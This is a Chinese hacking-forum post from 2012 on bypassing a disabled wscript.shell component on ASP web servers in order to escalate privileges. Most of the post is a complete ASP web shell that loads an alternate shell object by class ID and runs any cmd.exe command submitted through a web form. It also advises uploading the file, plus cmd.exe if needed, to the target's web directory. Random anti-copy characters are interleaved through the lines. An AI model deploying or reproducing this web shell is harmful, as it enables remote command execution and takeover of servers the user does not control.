找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1989|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
* V; W& D& f2 T, w% v一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。  g1 F; W* p3 c) Y2 n5 a$ P
要想让运行命令可以试试这种方法,成功率为五五之数。) y7 f: X9 N/ U3 C) W( t
把下面代码复制:2 r7 v. t+ S4 H0 d
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
6 i5 C* ^/ m2 z% P1 v1 @<%if err then%>+ X8 H$ T2 ?/ b: ?( u
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
0 v: W/ I: ?* c+ n/ y1 x: b<%' _4 x5 O# t( F, @! O$ J
end if
% a& V+ s' T: E# }- L2 I0 H* f* Jresponse.write("<textarea readonly cols=80 rows=20>"); G0 J. m  p, ?6 T9 ]
On Error Resume Next9 E/ e5 S' |# Z3 T
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall2 ]! k1 z: ^. U( L
response.write("</textarea>"): @  d, a: P3 I0 O4 y
response.write("<form method='post'>")% E& }  T7 F% T" C8 R0 D
response.write("<input type=text name='c' size=60><br>")0 \" D& U  e" N/ H
response.write("<input type=submit value='执行'></form>")7 W& [5 a4 V$ N
%>
2 b/ |- l& L# @6 i! Q
2 R' c# d5 t5 Z4 R$ [保存为一个asp文件,然后传到网站目录上去& S- f0 h; K- W+ }3 x1 Q3 |! ]
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。/ w! e8 f8 u, d( d7 w! G/ a* D
我用此成功运行过cacls命令。8 _3 I+ I# Y, z+ C
1 e  V5 q- u8 K, O8 D' C- a0 g
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表